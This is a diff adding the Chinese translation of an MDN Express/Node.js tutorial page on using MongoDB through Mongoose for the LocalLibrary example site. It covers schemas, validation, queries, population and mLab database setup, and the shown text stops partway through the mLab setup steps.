b/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html @@ -0,0 +1,831 @@ +--- +title: Express 教程 3:使用数据库 (Mongoose) +slug: learn/Server-side/Express_Nodejs/mongoose +tags: + - Express + - MongoDB + - Node + - ODM + - mongoose + - nodejs + - 初学者 + - 学习 + - 数据库 + - 服务器端 +translation_of: Learn/Server-side/Express_Nodejs/mongoose +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">本文简要介绍了数据库以及 Node/Express 应用的数据库集成。然后演示了 <a href="http://mongoosejs.com/">Mongoose</a> 为 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> 提供数据库访问的方式。还讲解了对象模式(Schema)和模型(Model)的声明方式、主要域的类型、基础验证机制。同时还简短演示了访问模型数据的一些方法。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2: 创建站点骨架</a>,了解数据库基础知识。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>使用 Mongoose 设计建造模型。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>图书馆的员工会使用 LocalLibrary 网站来保存藏书和借阅者的信息。会员会浏览和查找所需藏书,找到后预约或借阅。为了更高效地存取信息,网站将使用数据库。</p> + +<p>Express 应用支持多款数据库,执行新建(<strong>C</strong>reate)、读取(<strong>R</strong>ead)、更新(<strong>U</strong>pdate)和删除(<strong>D</strong>elete)操作 (CRUD) 操作也有诸多途径。本教程先做一个不完全简介,然后对教程选用的机制进行详细介绍。</p> + +<h3 id="我可以使用什么数据库">我可以使用什么数据库?</h3> + +<p>Express 应用可以使用 Node 支持的所有数据库(Express 本身不支持数据库管理的任何具体行为/需求)。有许多 <a href="https://expressjs.com/en/guide/database-integration.html">流行的选择</a>,包括 PostgreSQL、MySQL、Redis、SQLite 和 MongoDB。</p> + +<p>选用数据库应考虑以下因素:进入生产状态用时/学习曲线、性能、复制/备份的易用度、成本、社区支持,等等。这些数据库各有千秋,但绝大多数都足以胜任 LocalLibrary 这样中小规模的网站了。</p> + +<p>更多信息请参阅:<a href="http://www.expressjs.com.cn/guide/database-integration.html">数据库集成</a>(Express 文档)。</p> + +<h3 id="与数据库交互的最佳方式是什么">与数据库交互的最佳方式是什么?</h3> + +<p>与数据库交互有两种方法:</p> + +<ul> + <li>使用数据库的原生查询语言(例如SQL)</li> + <li>使用对象数据模型(Object Data Model,简称 ODM)或对象关系模型(Object Relational Model,简称 ORM)。 ODM / ORM 能将网站中的数据表示为 JavaScript 对象,然后将它们映射到底层数据库。一些 ORM 只适用某些特定数据库,还有一些是普遍适用的。</li> +</ul> + +<p>使用 SQL 或其它受到支持的查询语言才能达到最佳性能。ODM 通常慢一些,因为在对象和数据库格式之间存在一层用于映射的翻译代码,使它不一定会选用最高性能的数据库查询(尤其是普遍使用级别的 ODM,它必须在各类数据库功能方面做出更大的折衷)。</p> + +<p>使用 ORM 的好处是:程序员可以继续用 JavaScript 对象的思维而不用转向数据库语义的思维。 在(同一个或不同网站)使用不同数据库时尤为明显。使用 ORM 还可以更方便地对数据进行验证和检查。</p> + +<div class="note"> +<p><strong>提示:</strong>使用 ODM / ORM 通常可以降低开发和维护成本!除非你非常熟悉本地查询语言,或者项目对性能要求很高,否则强烈推荐使用 ODM。</p> +</div> + +<h3 id="我应该使用哪种_ORMODM">我应该使用哪种 ORM/ODM ?</h3> + +<p>NPM 站点上有许多 ODM / ORM 解决方案(另请参阅 NPM 站点上的 <a href="https://www.npmjs.com/browse/keyword/odm">odm</a> 和 <a href="https://www.npmjs.com/browse/keyword/orm">orm</a> 标签列表)。</p> + +<p>以下是迄今(2018 年 12 月)几种流行的解决方案:</p> + +<ul> + <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>:一款为异步工作环境设计的 <a href="https://www.mongodb.org/">MongoDB</a> 对象建模工具。</li> + <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>:从基于Express 的 <a href="http://sailsjs.com/">Sails</a> 框架中提取的 ORM。它提供了一套统一的 API 来访问众多不同的数据库,其中包括 Redis,mySQL,LDAP,MongoDB 和 Postgres。</li> + <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>:同时提供基于 promise 和传统回调两套接口,支持事务处理、渴求式/嵌套渴求式关系加载、多态关联,以及对一对一,一对多和多对多关系。支持 PostgreSQL、MySQL 和 SQLite3。</li> + <li><a href="https://www.npmjs.com/package/objection">Objection</a>:以尽可能简单的方式使用 SQL 和底层数据库引擎的全部功能(支持SQLite3、Postgres 和 MySQL)。</li> + <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a>:基于 promise 的 Node.js 版 ORM,它支持 PostgreSQL、MySQL、MariaDB、SQLite 和 MSSQL,并提供可靠的事务支持、关系、复本读取等功能。</li> + <li><a href="https://node-orm.readthedocs.io/en/latest/">Node ORM2</a>:一款 Node.js 对象关系管理系统。支持 MySQL、SQLite 以及 Progress,可以帮助你用面向对象的方法操作数据库。</li> + <li><a href="http://1602.github.io/jugglingdb/" rel="nofollow">JugglingDB</a>:一款 Node.js 版跨数据库的 ORM。它为多数流行数据库提供了统一接口,当前支持 MySQL、SQLite3、Postgres、MongoDB、Redis 和 js-memory-storage(自写引擎,仅供测试用)。</li> +</ul> + +<p>一般来说,选择解决方案应该考虑功能和“社区活跃度”(下载量、贡献数、bug 报告、文档质量,等)。在撰写本文时,Mongoose 是最受欢迎的 ODM,选用 MongoDB 数据库时,它是一个合理的选择。</p> + +<h3 id="在_LocalLibrary_中使用_Mongoose_和_MongoDb">在 LocalLibrary 中使用 Mongoose 和 MongoDb</h3> + +<p>我们将在本地图书馆示例(以及本主题的其余部分)中使用 <a href="https://www.npmjs.com/package/mongoose">Mongoose ODM </a>来访问图书馆数据。Mongoose 作为 <a href="https://www.mongodb.com/what-is-mongodb">MongoDB</a>(面向文档数据模型的开源 <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a> 数据库)的前端。MongoDB 数据库里,“集合”中的“文档” <a href="https://docs.mongodb.com/manual/core/databases-and-collections/#collections">类似于</a> 关系数据库里“表”中的“行”。</p> + +<p>这种 ODM 和数据库的结合方式在 Node 社区中非常流行,一定程度上是因为文档存储和查询系统与 JSON 十分相似,因此 JavaScript 开发人员会非常熟悉。</p> + +<div class="note"> +<p><strong>提示:</strong>使用 Mongoose 无需事先了解 MongoDB,但是部分 <a href="http://mongoosejs.com/docs/guide.html">Mongoose文档</a> 对于熟悉 MongoDB 的朋友会更易于使用和理解。</p> +</div> + +<p>下面将介绍如何为 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary 网站</a> 定义和访问 Mongoose 模式和模型。</p> + +<h2 id="设计_LocalLibrary_模型">设计 LocalLibrary 模型</h2> + +<p>在开始投入模型编写之前,有必要先思考一下:本网站需要存储什么数据?不同对象之间的关系是怎样的?</p> + +<p>图书馆需要存储藏书信息(书名、摘要、作者、种类、ISBN),藏书副本信息(全站唯一 ID,借出状态,等)。还可能需要存储作者姓名之外的更多信息,以及多个作者的信息。还希望数据库内容能够根据书名、作者姓名、种类和编目进行排序。</p> + +<p>有必要为每个“对象”(一组相关信息)设计独立的模型。本示例的关键对象包括书籍、书籍副本和作者。</p> + +<p>也许还希望使用模型而不是站点代码来表示选项表(比如下拉列表),在选项无法预知或可能更改时更推荐模型方式。很明显,藏书类型(比如科幻小说、法语诗歌,等)就是这种情况。</p> + +<p>确定模型和字段后还要考虑它们之间的关系,以下 UML 图显示了本示例即将定义的模型(框图)。如上所述,我们为藏书(一般细节)、藏书副本(系统)和作者创建了模型。还有一个可以动态选择的书籍种类模型。对于 <code>BookInstance:status</code>,我们不会为它建立模型,而是将可能的值直接编入站点代码中,因为我们不希望这些值发生变化。下图每个框都包括模型名、字段名和类型,还有方法及其返回类型。</p> + +<p>下图还展示了模型之间的关系以及重复度(Multiplicity)。重复度就是图中两框间连线两端的数字,表示两个模型之间存在的关系的数量(最大值和最小值)。例如,<code>Book</code> 框和 <code>Genre</code> 框之间有连线说明二者之间存在关系,<code>Book</code> 模型端的数字(0..*)表示一个种类必包括零种或多种藏书(多少都可以),而 <code>Genre</code> 端的数字表示一种藏书可以有零个或多个种类。</p> + +<div class="note"> +<p><strong>注:</strong>正如下文 <a href="#">Mongoose 入门</a> 中所讲,通常应该把定义文档/模型关系的字段置于同一模型中(仍可通过在搜索相关 <code>_id</code> 来回寻模型间的关系)。以下的 Book 模式中定义了 Book/Genre 和 Book/Author 关系,BookInstance 模式中定义了 Book/BookInstance 关系。这样做是简便起见,但稍存歧义,让这些字段存在于其他模式中也是可以的。</p> +</div> + +<p><img alt="Mongoose Library Model with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p> + +<div class="note"> +<p><strong>注:</strong>下面是一段入门知识,讲解如何定义和使用模型。请在阅读时想想将如何构建上图中的模型。</p> +</div> + +<h2 id="Mongoose_入门">Mongoose 入门</h2> + +<p>这一段将简要介绍如何将 Mongoose 连接到 MongoDB 数据库,如何定义模式和模型,以及如何进行基本查询。</p> + +<div class="note"> +<p><strong>注:</strong>本入门受到 npm 上的 <a href="https://www.npmjs.com/package/mongoose">Mongoose 快速入门</a> 和 <a href="http://mongoosejs.com/docs/guide.html">Mongoose 官方文档</a> 的“深度影响”。</p> +</div> + +<h3 id="安装_Mongoose_和_MongoDB">安装 Mongoose 和 MongoDB</h3> + +<p>Mongoose 像任何其他依赖项一样,使用 NPM 将其安装在您的项目(<strong>package.json</strong>)中 。请在项目文件夹中运行下面的命令以完成安装:</p> + +<pre class="brush: bash notranslate"><code>$ npm install mongoose</code> +</pre> + +<p>安装 Mongoose 会添加所有依赖项,包括 MongoDB 数据库驱动程序,但不会安装 MongoDB 本身。要安装 MongoDB 服务器,可以 <a href="https://www.mongodb.com/download-center">点击下载</a> 各操作系统的安装程序在本地安装。也可以使用云端 MongoDB 实例。</p> + +<div class="note"> +<p><strong>注:</strong>本教程选用 mLab 提供的 <a href="https://mlab.com/plans/pricing/">沙箱级 </a>云端“数据库即服务”(Database as a Service,DBaaS)。它适用于开发环境,且部署过程与操作系统无关(DBaaS 也适用于生产环境)。</p> +</div> + +<h3 id="连接到_MongoDB">连接到 MongoDB</h3> + +<p>Mongoose 需要连接到 MongoDB 数据库。可以 <code>require()</code> 之,并通过 <code>mongoose.connect()</code> 连接到本地数据库,如下。</p> + +<pre class="brush: js notranslate">// 导入 mongoose 模块 +const mongoose = require('mongoose'); + +// 设置默认 mongoose 连接 +const mongoDB = 'mongodb://127.0.0.1/my_database'; +mongoose.connect(mongoDB); +// 让 mongoose 使用全局 Promise 库 +mongoose.Promise = global.Promise; +// 取得默认连接 +const db = mongoose.connection; + +// 将连接与错误事件绑定(以获得连接错误的提示) +db.on('error', console.error.bind(console, 'MongoDB 连接错误:'));</pre> + +<p>可以用 <code>mongoose.connection</code> 取得默认的 <code>Connection</code> 对象。一旦连接,<code>Connection</code> 实例将触发打开事件。</p> + +<div class="note"> +<p><strong>提示:</strong>可以使用 <code>mongoose.createConnection()</code> 创建其它连接。该函数与 <code>connect()</code> 的参数(数据库 URI,包括主机地址、数据库名、端口、选项等)一致,并返回一个 <code>Connection</code> 对象。</p> +</div> + +<h3 id="定义和添加模型">定义和添加模型</h3> + +<p>模型使用 <code>Schema</code> 接口进行定义。 <code>Schema</code> 可以定义每个文档中存储的字段,及字段的验证要求和默认值。还可以通过定义静态和实例辅助方法来更轻松地处理各种类型的数据,还可以像使用普通字段一样使用数据库中并不存在的虚拟属性(稍后讨论)。</p> + +<p><code>mongoose.model()</code> 方法将模式“编译”为模型。模型就可以用来查找、创建、更新和删除特定类型的对象。</p> + +<div class="note"> +<p><strong>注:</strong>MongoDB 数据库中,每个模型都映射至一组文档。这些文档包含 <code>Schema</code> 模型定义的字段名/模式类型。</p> +</div> + +<h4 id="定义模式">定义模式</h4> + +<p>下面的代码片段中定义了一个简单的模式。首先 <code>require()</code> mongoose,然后使用 <code>Schema</code> 构造器创建一个新的模式实例,使用构造器的对象参数定义各个字段。</p> + +<pre class="brush: js notranslate">// 获取 Mongoose +const mongoose = require('mongoose'); + +// 定义一个模式 +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); +</pre> + +<p>上面示例只有两个字段(一个字符串和一个日期),接下来将展示其它字段类型、验证和其它方法。</p> + +<h4 id="创建模型">创建模型</h4> + +<p>使用 <code>mongoose.model()</code> 方法从模式创建模型:</p> + +<pre class="brush: js notranslate">// 定义模式 +const Schema = mongoose.Schema; + +const SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); + +<strong>// 使用模式“编译”模型 +const SomeModel = mongoose.model('SomeModel', SomeModelSchema);</strong></pre> + +<p>第一个参数是为模型所创建集合的别名(Mongoose 将为 SomeModel 模型创建数据库集合),第二个参数是创建模型时使用的模式。</p> + +<div class="note"> +<p><strong>注:</strong>定义模型类后,可以使用它们来创建、更新或删除记录,以及通过查询来获取所有记录或特定子集。我们将在以下“<a href="#">使用模型</a>”部分展示,包括创建视图的情况。</p> +</div> + +<h4 id="模式类型(字段)">模式类型(字段)</h4> + +<p>模式可以包含任意数量的字段,每个字段代表 MongoDB 文档中的一段存储区域。下面是一个模式的示例,其中有许多常见字段类型和声明方式:</p> + +<pre class="brush: js notranslate">const schema = new Schema( +{ + name: <strong>String</strong>, + binary: <strong>Buffer</strong>, + living: <strong>Boolean</strong>, + updated: { type: <strong>Date</strong>, default: Date.now }, + age: { type: <strong>Number</strong>, min: 18, max: 65, required: true }, + mixed: <strong>Schema.Types.Mixed</strong>, + _someId: <strong>Schema.Types.ObjectId</strong>, + array: <strong>[]</strong>, + ofString: [<strong>String</strong>], // 其他类型也可使用数组 + nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } } +})</pre> + +<p>大多数 <a href="http://mongoosejs.com/docs/schematypes.html">模式类型</a>( <a href="http://mongoosejs.com/docs/schematypes.html">SchemaType</a>,字段名之后的描述符)都是自解释的。除了:</p> + +<ul> + <li><code>ObjectId</code>:表示数据库中某一模型的特定实例。例如,一本书可能会使用它来表示其作者对象。它实际只包含指定对象的唯一 ID(<code>_id</code>) 。可以使用 <code>populate()</code> 方法在需要时提取相关信息。</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>:任意模式类型。</li> + <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>:对象数组。以在此类模型上执行 JavaScript 数组操作(<code>push</code>、<code>pop</code>、<code>unshift</code>等)。上例中有一个没有指定类型的对象数组和一个 <code>String</code> 对象数组,数组中的对象可以是任意类型的。</li> +</ul> + +<p>代码还展示了声明字段的两种方法:</p> + +<ul> + <li>字段名和类型名作为键-值对(就像 <code>name</code>、<code>binary</code> 和 <code>living</code>)。</li> + <li>字段名后跟一个对象,在对象中定义 <code>type</code> 和字段的其它选项,可以是: + <ul> + <li>默认值。</li> + <li>内置验证器(例如最大/最小值)和自定义验证函数。</li> + <li>该字段是否必需。</li> + <li>是否将 <code>String</code> 字段自动转换为小写、大写,或截断两端空格(例如<code>{ type: <strong>String</strong>, lowercase: true, trim: true }</code>)</li> + </ul> + </li> +</ul> + +<p>关于选项的更多信息请参阅 <a href="http://mongoosejs.com/docs/schematypes.html">模式类型</a>(Mongoose 英文文档)。</p> + +<h4 id="验证">验证</h4> + +<p>Mongoose 提供内置的和自定义的验证器,以及同步的和异步的验证器。你可以在所有情况下,指定可接受的范围或值,以及验证失败的错误消息。</p> + +<p>内置的验证器包括:</p> + +<ul> + <li>所有 <a href="http://mongoosejs.com/docs/schematypes.html">模式类型</a> 都具有内置的 <a href="http://mongoosejs.com/docs/api.html#schematype_SchemaType-required">required</a> 验证器。用于指定当前字段是否为保存文档所必需的。</li> + <li><a href="https://mongoosejs.com/docs/api.html#mongoose_Mongoose-Number">Number</a> 有数值范围验证器 <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-min">min</a> 和 <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-max">max</a>。</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-string-js">String</a> 有: + <ul> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-enum">enum</a>:指定当前字段允许值的集合。</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-match">match</a>:指定字符串必须匹配的正则表达式。</li> + <li>字符串的最大长度 <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-maxlength">maxlength</a> 和最小长度 <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-minlength">minlength</a></li> + </ul> + </li> +</ul> + +<p>以下是类型验证器和错误消息的设定方法(从 Mongoose 文档稍作修改而来):</p> + +<pre class="brush: js notranslate">const breakfastSchema = new Schema({ + eggs: { + type: Number, + min: [6, '鸡蛋太少'], + max: 12 + }, + drink: { + type: String, + enum: ['咖啡', '茶'] + } +});</pre> + +<p>字段验证的完整信息请参阅 <a href="http://mongoosejs.com/docs/validation.html">验证</a>(Mongoose 英文文档)。</p> + +<h4 id="虚拟属性">虚拟属性</h4> + +<p>虚拟属性是可以获取和设置、但不会保存到 MongoDB 的文档属性。getter 可用于格式化或组合字段,而 setter 可用于将单个值分解为多个值从而便于存储。文档中的示例,从名字和姓氏字段构造(并解构)一个全名虚拟属性,这比每次在模板中使用全名更简单,更清晰。</p> + +<div class="note"> +<p><strong>注:</strong>我们将使用库中的一个虚拟属性,用路径和记录的 <code>_id</code> 来为每个模型记录定义唯一的 URL。</p> +</div> + +<p>更多信息请参阅 <a href="http://mongoosejs.com/docs/guide.html#virtuals">虚拟属性</a>(Mongoose 英文文档)。</p> + +<h4 id="方法和查询助手">方法和查询助手</h4> + +<p>模式支持 <a href="http://mongoosejs.com/docs/guide.html#methods">实例方法</a>、<a href="http://mongoosejs.com/docs/guide.html#statics">静态方法</a> 和 <a href="http://mongoosejs.com/docs/guide.html#query-helpers">查询助手</a>。实例方法和静态方法外表很相似,但有本质区别,实例方法针对特定记录,且可以访问当前对象。查询助手可用于扩展 Mongoose 的 <a href="http://mongoosejs.com/docs/queries.html">链式查询 API</a>(例如,在 <code>find()</code>、<code>findOne()</code> 和 <code>findById()</code> 方法外还可以添加一个 “<code>byName</code>” 查询)。</p> + +<h3 id="使用模型">使用模型</h3> + +<p>就可以使用创建好的模式来创建模型。模型即数据库中可以搜索的一类文档,模型的实例即可以存取的单个文档。</p> + +<p>以下是简介。更多信息请参阅:<a href="http://mongoosejs.com/docs/models.html">模型</a>(Mongoose 英文文档)。</p> + +<h4 id="创建和修改文档">创建和修改文档</h4> + +<p>可以通过定义模型的实例并调用 <code>save()</code> 来创建记录。以下示例假定 <code>SomeModel</code> 是用现有模式创建的模型(只有一个字段 "<code>name</code>" ):</p> + +<pre class="brush: js notranslate"><code>// 创建一个 SomeModel 模型的实例 +const awesome_instance = new </code>SomeModel<code>({ name: '牛人' }); + +// 传递回调以保存这个新建的模型实例 +awesome_instance.save( function (err) { + if (err) { + return handleError(err); + } // 已保存 +}); +</code></pre> + +<p>记录的创建(以及更新、删除和查询)操作是异步的,可以提供一个回调函数在操作完成时调用。由于 API 遵循错误参数优先的惯例,因此回调的第一个参数必为错误值(或 <code>null</code>)。如果 API 需要返回一些结果,则将结果作为第二个参数。</p> + +<p>还可以使用 <code>create()</code>,在定义模型实例的同时将其保存。回调的第一个参数返回错误,第二个参数返回新建的模型实例。</p> + +<pre class="brush: js notranslate">SomeModel<code>.create( + { name: '也是牛人' }, + function(err, awesome_instance) { + if (err) { + return handleError(err); + } // 已保存 + } +);</code></pre> + +<p>每个模型都有一个相关的连接(使用 <code>mongoose.model()</code> 时将做为默认连接)。可以通过创建新连接并对其调用 <code>.model()</code>,从而在另一个数据库上创建文档。</p> + +<p>可以使用“圆点”加字段名来访问、修改新记录中的字段。操作后必须调用 <code>save()</code> 或 <code>update()</code> 以将改动保存回数据库。</p> + +<pre class="brush: js notranslate">// 使用圆点来访问模型的字段值 +console.log(<code>awesome_instance.name</code>); // 控制台将显示 '<code>也是牛人</code>' + +// 修改字段内容并调用 save() 以修改记录 +<code>awesome_instance</code>.name = "酷毙了的牛人"; +<code>awesome_instance.save( function(err) { + if (err) { + return handleError(err); + } // 已保存 +});</code> +</pre> + +<h4 id="搜索纪录">搜索纪录</h4> + +<p>可以使用查询方法搜索记录,查询条件可列在 JSON 文档中。以下代码展示了如何在数据库中找到所有网球运动员,并返回运动员姓名和年龄字段。这里只指定了一个匹配字段(运动项目,<code>sport</code>),也可以添加更多条件,指定正则表达式,或去除所有条件以返回所有运动员。</p> + +<pre class="brush: js notranslate"><code>const Athlete = mongoose.model('Athlete', yourSchema); + +// SELECT name, age FROM Athlete WHERE sport='Tennis' +Athlete.find( + { 'sport': 'Tennis' }, + 'name age', + function (err, athletes) { + if (err) { + return handleError(err); + } // 'athletes' 中保存一个符合条件的运动员的列表 + } +);</code></pre> + +<p>若像上述代码那样指定回调,则查询将立即执行。搜索完成后将调用回调。</p> + +<div class="note"> +<p><strong>注:</strong>Mongoose 中所有回调都使用 <code>callback(error, result)</code> 模式。如果查询时发生错误,则参数 <code>error</code> 将包含错误文档,<code>result</code> 为 <code>null</code>。如果查询成功,则 <code>error</code>为 <code>null</code>,查询结果将填充至 <code>result</code> 。</p> +</div> + +<p>若未指定回调,则 API 将返回 <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a> 类型的变量。可以使用该查询对象来构建查询,随后使用 <code>exec()</code> 方法执行(使用回调)。</p> + +<pre class="brush: js notranslate"><code>// 寻找所有网球运动员 +const query = Athlete.find({ 'sport': 'Tennis' }); + +// 查找 name, age 两个字段 +query.select('name age'); + +// 只查找前 5 条记录 +query.limit(5); + +// 按年龄排序 +query.sort({ age: -1 }); + +// 以后某个时间运行该查询 +query.exec(function (err, athletes) { + if (err) { + return handleError(err); + } // athletes 中保存网球运动员列表,按年龄排序,共 5 条记录 +})</code></pre> + +<p>上面的查询条件定义在 <code>find()</code> 方法中。也可以使用 <code>where()</code> 函数来执行此操作,可以使用点运算符(<code>.</code>)将所有查询链接在一起。以下代码与上述的查询基本相同,还添加了年龄范围的附加条件。</p> + +<pre class="brush: js notranslate"><code>Athlete. + find(). + where('sport').equals('Tennis'). + where('age').gt(17).lt(50). // 附加 WHERE 查询 + limit(5). + sort({ age: -1 }). + select('name age'). + exec(callback); // 回调函数的名字是 callback</code></pre> + +<p><code><a href="http://mongoosejs.com/docs/api.html#query_Query-find">find()</a></code> 方法会取得所有匹配记录,但通常你只想取得一个。以下方法可以查询单个记录:</p> + +<ul> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findById">findById()</a></code>:用指定 <code>id</code> 查找文档(每个文档都有一个唯一 <code>id</code>)。</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOne">findOne()</a></code>:查找与指定条件匹配的第一个文档。</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndRemove">findByIdAndRemove()</a></code>、<code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndUpdate">findByIdAndUpdate()</a></code>、<code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndRemove">findOneAndRemove()</a></code>、 <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndUpdate">findOneAndUpdate()</a></code>:通过 <code>id</code> 或条件查找单个文档,并进行更新或删除。以上是更新和删除记录的便利函数。</li> +</ul> + +<div class="note"> +<p><strong>注:</strong>还有一个 <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code> 方法,可获取匹配条件的项目的个数。在只期望获得记录的个数而不想获取实际的记录时可以使用。</p> +</div> + +<p>查询还能做更多。请参阅 <a href="http://mongoosejs.com/docs/queries.html">查询</a>(Mongoose 英文文档)。</p> + +<h4 id="文档间协同_——_population">文档间协同 —— population</h4> + +<p>可以使用 <code>ObjectId</code> 模式字段来创建两个文档/模型实例间一对一的引用,(一组 <code>ObjectIds</code> 可创建一对多的引用)。该字段存储相关模型的 id。如果需要相关文档的实际内容,可以在查询中使用 <code><a href="http://mongoosejs.com/docs/api.html#query_Query-populate">populate()</a></code> 方法,将 id 替换为实际数据。</p> + +<p>例如,以下模式定义了作者和简介。每个作者可以有多条简介,我们将其表示为一个 <code>ObjectId</code> 数组。每条简介只对应一个作者。“<code>ref</code>”(黑体字)告知模式分配哪个模型给该字段。</p> + +<pre class="brush: js notranslate"><code>const mongoose = require('mongoose'); +const Schema = mongoose.Schema; + +const authorSchema = Schema({ + name : String, + stories : [{ type: Schema.Types.ObjectId, <strong>ref</strong>: 'Story' }] +}); + +const storySchema = Schema({ + author : { type: Schema.Types.ObjectId, <strong>ref</strong>: 'Author' }, + title : String +}); + +const Story = mongoose.model('Story', storySchema); +const Author = mongoose.model('Author', authorSchema);</code></pre> + +<p>可以通过分配 <code>_id</code> 值来保存对相关文档的引用。下面我们创建一个作者、一条简介,并将新简介的 <code>author</code> 字段设置为新建作者的 id。</p> + +<pre class="brush: js notranslate"><code>const wxm = new Author({ name: '司马迁' }); + +wxm.save(function (err) { + if (err) { + return handleError(err); + } + + // 现在库中有了作者司马迁,我们来新建一条简介 + const story = new Story({ + title: "司马迁是历史学家", + author: wxm._id // author 设置为作者 司马迁 的 _id。ID 是自动创建的。 + }); + + story.save(function (err) { + if (err) { + return handleError(err); + } // 司马迁有了一条简介 + }); +});</code></pre> + +<p>现在简介文档通过作者文档的 ID 引用了作者。可使用 <code>populate()</code> 在简介中获取作者信息,如下所示。</p> + +<pre class="brush: js notranslate"><code>Story + .findOne({ title: '司马迁是历史学家' }) + .populate('author') // 使用作者 id 填充实际作者信息 + .exec(function (err, story) { + if (err) { + return handleError(err); + } + console.log('作者是 %s', story.author.name); + // 控制台将打印 "作者是 司马迁" + });</code></pre> + +<div class="note"> +<p><strong>注:</strong>目光敏锐的读者可能会注意到,新的简介添加了作者,但并没有添加到 <code>stories</code> 数组中。那么怎样才能得到指定作者的所有简介?考虑把作者添加到 <code>stories</code> 数组中,但会导致作者和简介相关信息的要在两处进行维护。</p> + +<p>更好的方法是获取作者的 <code>_id</code>,然后使用 <code>find()</code> 在所有简介的作者字段中搜索。</p> + +<pre class="brush: js notranslate"><code>Story + .find({ author : wxm._id }) + .exec(function (err, stories) { + if (err) { + return handleError(err); + } // 返回所有 author 字段的值为 司马迁id 的简介 + });</code> +</pre> +</div> + +<p>以上是本教程中“项目间协同”需要了解的所有内容。更多详细信息请参阅 <a href="http://mongoosejs.com/docs/populate.html">Population</a>(Mongoose 英文文档)。</p> + +<h3 id="一模式(模型)一文件">一模式(模型)一文件</h3> + +<p>虽然创建模式和模型没有文件结构的限制,但强烈建议将单一模式定义在单一模块(文件)中,并通过导出方法来创建模型。如下所示:</p> + +<pre class="brush: js notranslate"><code>// 文件:./models/somemodel.js + +// Require Mongoose +const mongoose = require('mongoose'); + +// 定义一个模式 +const Schema = mongoose.Schema; + +const SomeModelSchema = new Schema({ + a_string : String, + a_date : Date +}); + +<strong>// 导出函数来创建 "SomeModel" 模型类 +module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code></pre> + +<p>然后就可以在其它文件中,<code>require</code> 并使用该模型。下面是通过 <code>SomeModel</code> 模块来获取所有实例的方法。</p> + +<pre class="brush: js notranslate"><code>// 通过 require 模块来创建 SomeModel 模型 +const SomeModel = require('../models/somemodel') + +// 使用 SomeModel 对象(模型)来查找所有的 SomeModel 记录 +SomeModel.find(callback_function);</code></pre> + +<h2 id="架设_MongoDB_数据库">架设 MongoDB 数据库</h2> + +<p>我们已经初步了解了 Mongoose 以及设计模型的方法,现在该开始搭建 LocalLibrary 网站了。第一件事就是设置 MongoDB 数据库,来存储图书馆的数据。</p> + +<p>本教程将使用 <a href="https://mlab.com/welcome/">mLab</a> 免费版“<a href="https://mlab.com/plans/pricing/">沙盒</a>”云数据库。这一版不适用于生产环境,因为它没有冗余设计,但非常适合进行开发和原型设计。选用它是因为它免费且易于设置,并且 mLab 是一家流行的数据库服务供应商,也是生产环境数据库的理想选择(撰写本文时(2019年1月),国内流行的云数据库解决方案有 <a href="https://www.aliyun.com/product/mongodb?spm=5176.10695662.778269.1.2e5b8cb3Hw9HUr">阿里云</a>、<a href="https://cloud.tencent.com/product/mongodb">腾讯云</a>、<a href="https://cloud.baidu.com/product/mongodb.html">百度云</a> 等)。</p> + +<div class="note"> +<p><strong>注:</strong>也可以下载并安装 <a href="https://www.mongodb.com/download-center">对应系统的安装包</a>,设置本地版 MongoDB 数据库。多数指令和使用云数据库是一样的,除了连接时数据库的 URL。</p> +</div> + +<div class="note"> +<p><strong>译注:</strong>目前 mLab 网站在国内速度很慢,若遇到无法正常注册或登录的情况可以考虑本地版 MongoDB。</p> +</div> + +<p>首先 <a href="https://mlab.com/signup/">用 mLab 创建一个账户</a>(这是免费的,只需要输入基本联系信息,并同意服务条款)。</p> + +<p>登录后将进入 <a href="https://mlab.com/home">mLab 主屏幕</a>:</p> + +<ol> + <li>单击 <em>MongoDB Deployments</em>(MongoDB 部署)部分中的 <strong>Create New(新建)</strong>。<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li> + <li>将打开 Cloud Provider(云服务提供商)选择屏幕。<br> + <img alt="MLab - screen for new deployment" 